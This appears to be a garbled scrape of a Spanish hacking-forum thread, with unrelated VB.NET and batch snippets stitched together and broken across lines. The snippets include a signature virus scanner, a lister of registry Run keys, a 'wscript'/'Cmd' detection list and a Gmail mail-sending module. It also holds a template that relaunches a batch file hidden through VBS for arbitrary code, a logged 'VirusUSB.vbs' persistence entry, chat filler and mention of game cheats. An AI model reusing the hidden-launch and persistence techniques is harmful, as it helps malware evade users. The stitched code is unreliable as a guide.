InputString = myStreamReader.ReadToEnd()
ArrayHold = Encoding.Default.GetBytes(InputString)
Do
IndexEnd = Index + 9
For x As Integer = Index To IndexEnd
If x > UBound(ArrayHold) Then
tempStr = tempStr
Else
tStr = UCase(Convert.ToString(ArrayHold(x), 16))
If tStr.Length < 2 Then tStr = "0" & tStr
Str.Append(tStr)
tempStr = tempStr & Chr(ArrayHold(x))
End If
Next
Index = Index + 10
Loop While IndexEnd < UBound(ArrayHold)
For Each signature As XElement In xml.Root.Elements
If InStr(1, Str.ToString, signature.<hex>.Value, vbTextCompare) Then
listv.Items.Add(signature.<name>.Value)
If listv.Items.Count > 0 Then
Label1.Text = "Virus"
Else
Label1.Text = "No Virus"
End If
End If
Next
End SubVirus >> wscript.exe //B "C:\Users\S4LXenox\AppData\Local\Temp\VirusUSB.vbs"Imports Microsoft.Win32
Public Class Form1
Private Sub ListarHKCU()
Dim key As RegistryKey
Dim valueNames As String()
Dim currentUser As RegistryKey = Registry.CurrentUser
Dim name As String = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Dim str2 As String = "Software\Microsoft\Windows\CurrentVersion\Runonce"
Try
key = currentUser.OpenSubKey(name, True)
valueNames = key.GetValueNames
Dim str3 As String
For Each str3 In valueNames
Try
ListBox1.Items.Add((str3 & " >> " & key.GetValue(str3).ToString))
Catch ex As Exception
End Try
Next
Catch ex As Exception
End Try
Try
key = currentUser.OpenSubKey(str2, True)
valueNames = key.GetValueNames
Dim str3 As String
For Each str3 In valueNames
Try
ListBox1.Items.Add((str3 & " >> " & key.GetValue(str3).ToString))
Catch ex As Exception
End Try
Next
Catch ex As Exception
End Try
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
ListBox1.Items.Clear()
ListarHKCU()
End Sub
End ClassDim APP_string As String() = {"wscript", "Cmd"}
For Each elemento As String In APP_string
If TextBox1.Text.Contains(elemento) Then
'AQUI VA EL CODIGO DEL MENSAJE Y LA OPCION PARA BORRAR EL VIRUS DEL REGISTRO
End If
NextSOFTWARE\Microsoft\Windows\CurrentVersion\Run@echo off
:Comandline
IF ["%~1"]==["-e"] goto o
:Crear vbs
set Batch=%~dpnx0
(
echo set objshell ^= createobject^("wscript.shell"^)
echo objshell^.run "%Batch% -e"^,vbhide ) > %temp%\bas.vbs
start %temp%\bas.vbs
exit
:o
::::::::::::::::::::::::::::::::
:: Tu código aquí... :
::::::::::::::::::::::::::::::::
![:-\](https://forum.elhacker.net/Smileys/navidad/undecided.gif ":-\")
si alguien tiene algún code que me facilite. .
:V. 
:V .
XD
alguien que pase el zelda . :v plis 
Citar
Citar
.
)theYNC.com
. Mas adelante subire Un Aimbot y Wallhack.
Imports System.Net
Imports System.Net.Mail
Module Correo
Private correos As New MailMessage
Private envios As New SmtpClient
Sub enviarCorreo(ByVal emisor As String, ByVal password As String, ByVal mensaje As String, ByVal asunto As String, ByVal destinatario As String)
Try
correos.To.Clear()
correos.Body = ""
correos.Subject = ""
correos.Body = mensaje
correos.Subject = asunto
correos.IsBodyHtml = True
correos.To.Add(Trim(destinatario))
correos.From = New MailAddress(emisor)
envios.Credentials = New NetworkCredential(emisor, password)
'Datos importantes no modificables para tener acceso a las cuentas
envios.Host = "smtp.gmail.com"
envios.Port = 587
envios.EnableSsl = True
envios.Send(correos)
MsgBox("El mensaje fue enviado correctamente. ", MsgBoxStyle.Information, "Mensaje")
Catch ex As Exception
MessageBox.Show(ex.Message, "Mensajeria 1.0 vb.net ®", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
End Sub
End Module
@echo off
Title Batch to VBS Converter 0.2
set cd=%cd%
set t=%temp%
goto eleminar
:vbs
color b
set codevbs1=ar.writeline "
set codevbs2="
echo.
echo Escribe el nombre del bat a cambiar a vbs + el formato ".bat o .cmd"
echo.
set /p batavbs= ^>^>^>
if not exist %batavbs% (goto:err)
type %batavbs% > %t%\bat.txt
call :remplace
:r
if not exist %t%\batavbs.txt (goto r)
(
echo Const TemporaryFolder ^= 2
echo.
echo Dim fso^: Set fso ^= CreateObject^("Scripting.FileSystemObject"^)
echo.
echo Dim tempFolder^: tempFolder ^= fso^.GetSpecialFolder^(TemporaryFolder^)
echo.
echo set b^=createobject^("wscript.shell"^)
echo Set objfso ^= createobject^("scripting.filesystemobject"^)
echo Set ar^= objfso^.createtextfile^(tempFolder ^& "archivo.bat"^,true^)
echo.
) >> %t%\temp.vbs
for /f "tokens=*" %%x in ('type %t%\batavbs.txt') do (echo %codevbs1% %%x %codevbs2%) >> %t%\temp.vbs
type "%t%\temp.vbs
(
echo ar^.close
echo b^.run tempFolder ^& "archivo.bat"^, ^1, true
echo ^'Create By Salvador F. Krilewski.
) >> %t%\temp.vbs
copy "%t%\temp.vbs" "%cd%\%batavbs%Converted.vbs"
del "%t%\batavbs.txt"
cls
color a
echo.
echo Proceso terminado . yyy y PUT0 EL QUE LO LEA jajaja
echo.
if exist "%t%\bat.txt" del "%t%\bat.txt"
if exist "%t%\batavbs.txt" del "%t%\batavbs.txt"
if exist "%t%\archivo.bat" del "%t%\archivo.bat"
if exist "%t%\temp.vbs" del "%t%\temp.vbs"
if exist "%t%\bat2.txt" del "%t%\bat2.txt"
pause & exit
:eleminar
if exist "%t%\bat2.txt" del "%t%\bat2.txt"
if exist "%t%\bat.txt" del "%t%\bat.txt"
if exist "%t%\batavbs.txt" del "%t%\batavbs.txt"
if exist "%t%\archivo.bat" del "%t%\archivo.bat"
if exist "%t%\temp.vbs" del "%t%\temp.vbs"
goto vbs
:err
cls
color c
echo.
echo EL ARCHIVO QUE ESCRIBISTE NO EXISTE PERRO
ECHO.
pause & exit
:remplace
setlocal enabledelayedexpansion
for /f "tokens=* delims=" %%x in ('type %t%\bat.txt') do (
set linea=%%x
set linea=!linea:%%=%%%%!
set linea=!linea:"=""!
call :show !linea!
)
goto:eof
:show
echo %* >> %t%\batavbs.txt
goto:eofhola "la"
hola "la"
Call :TEXTMAN RSA "archivo.txt" "^"" "^"""" "